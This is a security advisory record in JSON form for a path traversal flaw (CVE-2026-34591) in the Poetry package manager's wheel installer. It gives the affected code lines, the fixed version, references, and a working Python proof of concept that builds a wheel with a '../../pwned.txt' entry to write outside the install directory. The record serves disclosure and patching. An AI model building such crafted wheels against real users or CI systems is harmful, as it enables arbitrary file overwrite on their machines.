{"id":"CVE-2026-34591","aliases":["GHSA-2599-h6xx-hpxp","PYSEC-2026-2260"],"url":"https://o3.security/vulnerability/CVE-2026-34591","summary":"Poetry Has Wheel Path Traversal Which Can Lead to Arbitrary File Write","details":"### Summary\nA crafted wheel can contain ../ paths that Poetry writes to disk without containment checks, allowing arbitrary file write with the privileges of the Poetry process. \n\n### Impact\nArbitrary file write (path traversal) from untrusted wheel content. Impacts users/CI/CD systems installing malicious or compromised packages.\n\n### Patches\n\nVersions 2.3.3 and newer of Poetry resolve the target paths and ensure that they are inside the target directory. Otherwise, installation is aborted.\n\n### Details\nPoetry’s wheel destination path is built by directly joining an untrusted wheel entry path:\n\nsrc/poetry/installation/wheel_installer.py:47\nsrc/poetry/installation/wheel_installer.py:59\n\nThe vulnerable sink is reachable in normal installation:\nsrc/poetry/installation/executor.py:607\n\nNo resolve() + is_relative_to() style guard is enforced before writing.\n\n### POC\n\n```\nfrom pathlib import Path\nimport tempfile, zipfile, sys\nfrom installer import install\nfrom installer.sources import WheelFile\nfrom poetry.installation.wheel_installer import WheelDestination\n\nroot = Path(tempfile.mkdtemp(prefix=\"poetry-poc-\"))\nwheel = root / \"evil-0.1-py3-none-any.whl\"\nbase = root / \"venv\" / \"lib\" / \"pythonX\" / \"site-packages\"\nfor d in [base, root/\"venv/scripts\", root/\"venv/headers\", root/\"venv/data\"]:\n    d.mkdir(parents=True, exist_ok=True)\n\nfiles = {\n    \"evil/__init__.py\": b\"\",\n    \"../../pwned.txt\": b\"owned\\n\",\n    \"evil-0.1.dist-info/WHEEL\": b\"Wheel-Version: 1.0\\nRoot-Is-Purelib: true\\nTag: py3-none-any\\n\",\n    \"evil-0.1.dist-info/METADATA\": b\"Metadata-Version: 2.1\\nName: evil\\nVersion: 0.1\\n\",\n}\nfiles[\"evil-0.1.dist-info/RECORD\"] = (\"\\n\".join([f\"{k},,\" for k in files] + [\"evil-0.1.dist-info/RECORD,,\"])+\"\\n\").encode()\n\nwith zipfile.ZipFile(wheel, \"w\") as z:\n    for k,v in files.items(): z.writestr(k,v)\n\ndest = WheelDestination(\n    {\"purelib\":str(base),\"platlib\":str(base),\"scripts\":str(root/\"venv/scripts\"),\"headers\":str(root/\"venv/headers\"),\"data\":str(root/\"venv/data\")},\n    interpreter=sys.executable, script_kind=\"posix\"\n)\nwith WheelFile.open(wheel) as src:\n    install(src, dest, {\"INSTALLER\": b\"PoC\"})\n\nout = (base / \"../../pwned.txt\").resolve()\nprint(\"outside write:\", out.exists(), out)\n```","published":"2026-04-02T17:35:07.691Z","modified":"2026-10-28T02:30:34.027953107Z","cvss":null,"epss":null,"cisaKev":null,"exploitsKnown":0,"affectedPackages":[{"ecosystem":"PyPI","name":"poetry","fixedVersion":"2.3.3"}],"fix":{"url":"http://github.com/python-poetry/poetry/commit/ed59537ac3709cfbdbf95d957de801c13872991a","label":"python-poetry/poetry@ed59537"},"references":[{"type":"WEB","url":"https://github.com/python-poetry/poetry/releases/tag/2.3.3"},{"type":"ADVISORY","url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2026/34xxx/CVE-2026-34591.json"},{"type":"ADVISORY","url":"https://github.com/python-poetry/poetry/security/advisories/GHSA-2599-h6xx-hpxp"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-34591"},{"type":"FIX","url":"http://github.com/python-poetry/poetry/commit/ed59537ac3709cfbdbf95d957de801c13872991a"},{"type":"FIX","url":"https://github.com/python-poetry/poetry/pull/10792"},{"type":"PACKAGE","url":"https://github.com/python-poetry/poetry"}],"provenance":{"sources":["OSV.dev","FIRST.org (EPSS)"],"lastVerified":"2026-10-28T02:30:34.027953107Z"}}